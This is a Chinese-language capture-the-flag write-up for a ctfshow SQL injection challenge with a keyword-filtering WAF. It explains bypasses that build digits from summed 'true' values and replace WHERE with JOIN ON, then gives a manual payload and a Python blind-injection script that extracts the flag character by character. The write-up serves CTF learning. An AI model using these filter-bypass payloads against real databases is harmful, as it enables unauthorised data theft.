题目

查询语句

  1. $sql = "select count(*) from ".$_POST['tableName'].";";

返回逻辑

  1. function waf($str){
  2. return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  3. }

查询结果

  1. $user_count = 0;

解题思路

这道题过滤了空格 select where 这些我们可以操作的字符串,甚至连数字都过滤掉了,可以说是很变态了
下面是Y4师傅给的一张图片
image.png
数字的过滤我们可以无限的加ture来绕过
而过滤了where 我们可以用join on 来替代
先手测一下
tableName=ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,true,true)regexp(char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true)))
返回:$user_count = 43;
下面给出exp

  1. import requests
  2. url = "http://e0acf55b-bc41-41d2-ae36-35ae305e7a09.challenge.ctf.show/select-waf.php"
  3. flag = "ctfshow{"
  4. dictionary = "0123456789abcdefghijklmnopqrstuvwxyz}-"
  5. def createNum(n):
  6. num = 'true'
  7. if n == 1:
  8. return num
  9. else:
  10. for i in range(n - 1):
  11. num += "+true"
  12. return num
  13. for i in range(45):
  14. if i <= 8:
  15. continue
  16. for j in range(127):
  17. data = {
  18. "tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createNum(i)},{createNum(1)})regexp(char({createNum(j)})))"
  19. }
  20. r = requests.post(url, data=data)
  21. if r.text.find("$user_count = 43;") > 0:
  22. if chr(j) != ".":
  23. flag += chr(j)
  24. print(flag.lower())
  25. if chr(j) == "}":
  26. exit(0)
  27. break